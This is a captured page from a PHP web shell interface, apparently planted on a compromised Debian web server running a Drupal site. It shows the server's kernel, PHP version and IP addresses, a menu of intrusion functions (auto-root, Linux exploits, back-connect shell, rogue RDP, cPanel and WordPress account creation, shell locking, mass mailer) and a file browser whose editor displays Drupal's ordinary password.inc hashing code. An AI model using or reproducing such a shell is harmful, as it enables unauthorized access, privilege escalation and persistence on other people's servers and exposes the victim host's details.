Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.222.91.173
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
database
[ DIR ]
drwxr-xr-x
filetransfer
[ DIR ]
drwxr-xr-x
actions.inc
13.49
KB
-rw-r--r--
ajax.inc
49.28
KB
-rw-r--r--
archiver.inc
1.66
KB
-rw-r--r--
authorize.inc
13.34
KB
-rw-r--r--
batch.inc
17.09
KB
-rw-r--r--
batch.queue.inc
2.26
KB
-rw-r--r--
bootstrap.inc
118.59
KB
-rw-r--r--
cache-install.inc
2.43
KB
-rw-r--r--
cache.inc
19.95
KB
-rw-r--r--
common.inc
303.4
KB
-rw-r--r--
date.inc
4.4
KB
-rw-r--r--
entity.inc
47.12
KB
-rw-r--r--
errors.inc
10.08
KB
-rw-r--r--
file.inc
88.53
KB
-rw-r--r--
file.mimetypes.inc
23.8
KB
-rw-r--r--
form.inc
194.91
KB
-rw-r--r--
graph.inc
4.71
KB
-rw-r--r--
image.inc
13.1
KB
-rw-r--r--
install.core.inc
77.61
KB
-rw-r--r--
install.inc
43.28
KB
-rw-r--r--
iso.inc
15.21
KB
-rw-r--r--
json-encode.inc
3.11
KB
-rw-r--r--
language.inc
19.02
KB
-rw-r--r--
locale.inc
82.36
KB
-rw-r--r--
lock.inc
9.2
KB
-rw-r--r--
mail.inc
22.69
KB
-rw-r--r--
menu.inc
137.14
KB
-rw-r--r--
module.inc
40.02
KB
-rw-r--r--
pager.inc
22.03
KB
-rw-r--r--
password.inc
9.3
KB
-rw-r--r--
path.inc
20.25
KB
-rw-r--r--
registry.inc
6.35
KB
-rw-r--r--
session.inc
17.93
KB
-rw-r--r--
stream_wrappers.inc
22.63
KB
-rw-r--r--
tablesort.inc
7.27
KB
-rw-r--r--
theme.inc
110.91
KB
-rw-r--r--
theme.maintenance.inc
6.9
KB
-rw-r--r--
token.inc
9.63
KB
-rw-r--r--
unicode.entities.inc
5.36
KB
-rw-r--r--
unicode.inc
22.22
KB
-rw-r--r--
update.inc
57.66
KB
-rw-r--r--
updater.inc
13.35
KB
-rw-r--r--
utility.inc
1.94
KB
-rw-r--r--
xmlrpc.inc
18.39
KB
-rw-r--r--
xmlrpcs.inc
11.02
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : password.inc
<?php /** * @file * Secure password hashing functions for user authentication. * * Based on the Portable PHP password hashing framework. * @see http://www.openwall.com/phpass/ * * An alternative or custom version of this password hashing API may be * used by setting the variable password_inc to the name of the PHP file * containing replacement user_hash_password(), user_check_password(), and * user_needs_new_hash() functions. */ /** * The standard log2 number of iterations for password stretching. This should * increase by 1 every Drupal version in order to counteract increases in the * speed and power of computers available to crack the hashes. */ define('DRUPAL_HASH_COUNT', 15); /** * The minimum allowed log2 number of iterations for password stretching. */ define('DRUPAL_MIN_HASH_COUNT', 7); /** * The maximum allowed log2 number of iterations for password stretching. */ define('DRUPAL_MAX_HASH_COUNT', 30); /** * The expected (and maximum) number of characters in a hashed password. */ define('DRUPAL_HASH_LENGTH', 55); /** * Returns a string for mapping an int to the corresponding base 64 character. */ function _password_itoa64() { return './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; } /** * Encodes bytes into printable base 64 using the *nix standard from crypt(). * * @param $input * The string containing bytes to encode. * @param $count * The number of characters (bytes) to encode. * * @return * Encoded string */ function _password_base64_encode($input, $count) { $output = ''; $i = 0; $itoa64 = _password_itoa64(); do { $value = ord($input[$i++]); $output .= $itoa64[$value & 0x3f]; if ($i < $count) { $value |= ord($input[$i]) << 8; } $output .= $itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count) { break; } if ($i < $count) { $value |= ord($input[$i]) << 16; } $output .= $itoa64[($value >> 12) & 0x3f]; if ($i++ >= $count) { break; } $output .= $itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } /** * Generates a random base 64-encoded salt prefixed with settings for the hash. * * Proper use of salts may defeat a number of attacks, including: * - The ability to try candidate passwords against multiple hashes at once. * - The ability to use pre-hashed lists of candidate passwords. * - The ability to determine whether two users have the same (or different) * password without actually having to guess one of the passwords. * * @param $count_log2 * Integer that determines the number of iterations used in the hashing * process. A larger value is more secure, but takes more time to complete. * * @return * A 12 character string containing the iteration count and a random salt. */ function _password_generate_salt($count_log2) { $output = '$S$'; // Ensure that $count_log2 is within set bounds. $count_log2 = _password_enforce_log2_boundaries($count_log2); // We encode the final log2 iteration count in base 64. $itoa64 = _password_itoa64(); $output .= $itoa64[$count_log2]; // 6 bytes is the standard salt for a portable phpass hash. $output .= _password_base64_encode(drupal_random_bytes(6), 6); return $output; } /** * Ensures that $count_log2 is within set bounds. * * @param $count_log2 * Integer that determines the number of iterations used in the hashing * process. A larger value is more secure, but takes more time to complete. * * @return * Integer within set bounds that is closest to $count_log2. */ function _password_enforce_log2_boundaries($count_log2) { if ($count_log2 < DRUPAL_MIN_HASH_COUNT) { return DRUPAL_MIN_HASH_COUNT; } elseif ($count_log2 > DRUPAL_MAX_HASH_COUNT) { return DRUPAL_MAX_HASH_COUNT; } return (int) $count_log2; } /** * Hash a password using a secure stretched hash. * * By using a salt and repeated hashing the password is "stretched". Its * security is increased because it becomes much more computationally costly * for an attacker to try to break the hash by brute-force computation of the * hashes of a large number of plain-text words or strings to find a match. * * @param $algo * The string name of a hashing algorithm usable by hash(), like 'sha256'. * @param $password * Plain-text password up to 512 bytes (128 to 512 UTF-8 characters) to hash. * @param $setting * An existing hash or the output of _password_generate_salt(). Must be * at least 12 characters (the settings and salt). * * @return * A string containing the hashed password (and salt) or FALSE on failure. * The return string will be truncated at DRUPAL_HASH_LENGTH characters max. */ function _password_crypt($algo, $password, $setting) { // Prevent DoS attacks by refusing to hash large passwords. if (strlen($password) > 512) { return FALSE; } // The first 12 characters of an existing hash are its setting string. $setting = substr($setting, 0, 12); if ($setting[0] != '$' || $setting[2] != '$') { return FALSE; } $count_log2 = _password_get_count_log2($setting); // Hashes may be imported from elsewhere, so we allow != DRUPAL_HASH_COUNT if ($count_log2 < DRUPAL_MIN_HASH_COUNT || $count_log2 > DRUPAL_MAX_HASH_COUNT) { return FALSE; } $salt = substr($setting, 4, 8); // Hashes must have an 8 character salt. if (strlen($salt) != 8) { return FALSE; } // Convert the base 2 logarithm into an integer. $count = 1 << $count_log2; // We rely on the hash() function being available in PHP 5.2+. $hash = hash($algo, $salt . $password, TRUE); do { $hash = hash($algo, $hash . $password, TRUE); } while (--$count); $len = strlen($hash); $output = $setting . _password_base64_encode($hash, $len); // _password_base64_encode() of a 16 byte MD5 will always be 22 characters. // _password_base64_encode() of a 64 byte sha512 will always be 86 characters. $expected = 12 + ceil((8 * $len) / 6); return (strlen($output) == $expected) ? substr($output, 0, DRUPAL_HASH_LENGTH) : FALSE; } /** * Parse the log2 iteration count from a stored hash or setting string. */ function _password_get_count_log2($setting) { $itoa64 = _password_itoa64(); return strpos($itoa64, $setting[3]); } /** * Hash a password using a secure hash. * * @param $password * A plain-text password. * @param $count_log2 * Optional integer to specify the iteration count. Generally used only during * mass operations where a value less than the default is needed for speed. * * @return * A string containing the hashed password (and a salt), or FALSE on failure. */ function user_hash_password($password, $count_log2 = 0) { if (empty($count_log2)) { // Use the standard iteration count. $count_log2 = variable_get('password_count_log2', DRUPAL_HASH_COUNT); } return _password_crypt('sha512', $password, _password_generate_salt($count_log2)); } /** * Check whether a plain text password matches a stored hashed password. * * Alternative implementations of this function may use other data in the * $account object, for example the uid to look up the hash in a custom table * or remote database. * * @param $password * A plain-text password * @param $account * A user object with at least the fields from the {users} table. * * @return * TRUE or FALSE. */ function user_check_password($password, $account) { if (substr($account->pass, 0, 2) == 'U$') { // This may be an updated password from user_update_7000(). Such hashes // have 'U' added as the first character and need an extra md5(). $stored_hash = substr($account->pass, 1); $password = md5($password); } else { $stored_hash = $account->pass; } $type = substr($stored_hash, 0, 3); switch ($type) { case '$S$': // A normal Drupal 7 password using sha512. $hash = _password_crypt('sha512', $password, $stored_hash); break; case '$H$': // phpBB3 uses "$H$" for the same thing as "$P$". case '$P$': // A phpass password generated using md5. This is an // imported password or from an earlier Drupal version. $hash = _password_crypt('md5', $password, $stored_hash); break; default: return FALSE; } return ($hash && $stored_hash == $hash); } /** * Check whether a user's hashed password needs to be replaced with a new hash. * * This is typically called during the login process when the plain text * password is available. A new hash is needed when the desired iteration count * has changed through a change in the variable password_count_log2 or * DRUPAL_HASH_COUNT or if the user's password hash was generated in an update * like user_update_7000(). * * Alternative implementations of this function might use other criteria based * on the fields in $account. * * @param $account * A user object with at least the fields from the {users} table. * * @return * TRUE or FALSE. */ function user_needs_new_hash($account) { // Check whether this was an updated password. if ((substr($account->pass, 0, 3) != '$S$') || (strlen($account->pass) != DRUPAL_HASH_LENGTH)) { return TRUE; } // Ensure that $count_log2 is within set bounds. $count_log2 = _password_enforce_log2_boundaries(variable_get('password_count_log2', DRUPAL_HASH_COUNT)); // Check whether the iteration count used differs from the standard number. return (_password_get_count_log2($account->pass) !== $count_log2); }
Close